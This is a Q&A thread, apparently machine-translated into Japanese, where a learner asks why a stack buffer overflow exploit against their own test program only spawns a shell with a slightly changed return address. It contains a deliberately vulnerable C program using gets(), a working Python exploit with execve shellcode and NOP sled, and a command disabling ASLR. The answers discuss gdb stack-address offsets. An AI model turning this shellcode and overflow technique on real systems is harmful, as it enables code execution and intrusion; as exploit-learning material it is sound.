web-dev-qa-db-ja.com

ほぼ同じ2つのペイロードのうち、1つだけがシェルを提供するのはなぜですか?

脆弱なテストプログラムを書いて、バッファオーバーフローを練習しました。しかし、それを機能させるのに苦労していました。最後に、戻りアドレスを少し変更した後、シェルを取得することができましたが、この小さな、一見重要ではない変更で問題が修正された理由がわかりません。

vuln.c

/**
 * Compile:
 *
 * $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
 */

#include <stdio.h>
#include <string.h>

int main(void)
{
    char buffer[256];

    gets(buffer);

    if (strcmp(buffer, "password") == 0)
    {
        printf("PASS\n");
    }
    else
    {
        printf("FAIL\n");
    }

    return 0;
}

exploit.py

#!/usr/bin/python
# -*- coding: utf-8 -*-


import os
import struct
import sys



# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
    sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
            progname=__file__, linesep=os.linesep
            )
        )
    sys.exit(1)
else:
    return_addr = int(sys.argv[1], 16)


shellcode = b''.join([
        b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68',    # mov     rax, 0x68732f6e69622f2f   ; "hs/nib//" => "//bin/sh"
        b'\x48\xc1\xe8\x08',                            # shr     rax, 8
        b'\x50',                                        # Push    rax
        b'\x48\x89\xe7',                                # mov     rdi, rsp
        b'\x48\x31\xc0',                                # xor     rax, rax
        b'\x50',                                        # Push    rax
        b'\x57',                                        # Push    rdi
        b'\x48\x89\xe6',                                # mov     rsi, rsp
        b'\x50',                                        # Push    rax
        b'\x48\x89\xe2',                                # mov     rdx, rsp
        b'\xb0\x3b',                                    # mov     al, 59

        b'\x0f\x05',                                    # syscall
        ]
    )

PAYLOAD_SIZE = 256 + 8 + 8

padding = b'\x41' * 32

nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))

rbp = struct.pack('<Q', 0x4242424242424242)

rip = struct.pack('<Q', return_addr)

payload = nopsled + shellcode + padding + rbp + rip


sys.stdout.buffer.write(payload)

次を実行すると、SEGFAULTが表示されます。

$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln

しかし、これは私にシェルを与えます:

$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln

注意

テスト中にASLRを無効にしました。

$ echo 0 | Sudo tee /proc/sys/kernel/randomize_va_space

その他の考慮事項

$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
1
jinscoe123

_buffer[]_のアドレスをどのように決定していますか? gdbの下でアプリを実行し、アドレスを出力してから、そのアドレスを使用してgdbの外部で実行されているアプリケーションに対してエクスプロイトスクリプトを実行する場合、gdbの下で実行しているかどうかによって、スタックが別のアドレスにある可能性があることに注意してください。 !

たとえば、開始時にアドレスを出力するようにvuln.cを変更しました。

printf("%p\n", &buffer[0]);

アプリケーションを直接実行すると、結果は常に1つのアドレスになります。

_$ echo x | ./tmp 0x7fffffffe1f0_

...しかし、アプリケーションをgdbで実行すると、結果は一貫して異なるアドレスになります。

_$ echo x | gdb -ex run ./tmp ... 0x7fffffffe1a0_

これらの2つの値の違いは、エクスプロイトを機能させるために適用する必要がある "0x ... 50 <-> 0x ... d0"の違いかもしれません。

これで、gdb外でアプリを実行するときに非gdbバッファーアドレスを使用すると、エクスプロイトは期待どおりに機能します。

_$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp 0x7fffffffe1f0 FAIL_

$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp ... 0x7fffffffe1a0 FAIL process 23430 is executing new program: /bin/dash [Inferior 1 (process 23430) exited normally] (gdb) quit

1
Stephen Warren

これは、次のような情報がない場合の推測です。

  • Segfaultの詳細。
  • 脆弱なアプリケーションバイナリの分解。

Cコンパイラーは、strcmp()の呼び出し後に_buffer[]_が使用されないことを認識しているため、strcmp()からの戻りとmain()。これにより、_buffer[]_の最初の数バイトが破損し、無効な命令が含まれ、セグメンテーション違反が発生する可能性があります。

これを確認するには、脆弱なアプリケーションをgdbで実行し、main()が戻って_buffer[]_をダンプした後、gets()にブレークポイントを設定します。 bufferのアドレスを記録します。アプリケーションを続行し、segfaultを待ちます。ここで_buffer[]_のメモリを再度ダンプし、コンテンツにまだnopsledが含まれているかどうか、または上書きされているかどうかを確認します。

_0x...50_から_0x...90_に変更することで、ペイロードの後の部分にジャンプし、破損した部分をスキップします。

1
Stephen Warren

ペイロードの小さなものを変更すると、試行の成功または失敗に大きな影響を与える可能性があります。小さな変更により、ペイロードがプログラムの実行をハイジャックするための許容可能な場所に配置され、前者は一部のバッファを上書きしただけでクラッシュを引き起こしたと考えています。

0
Michael Hearn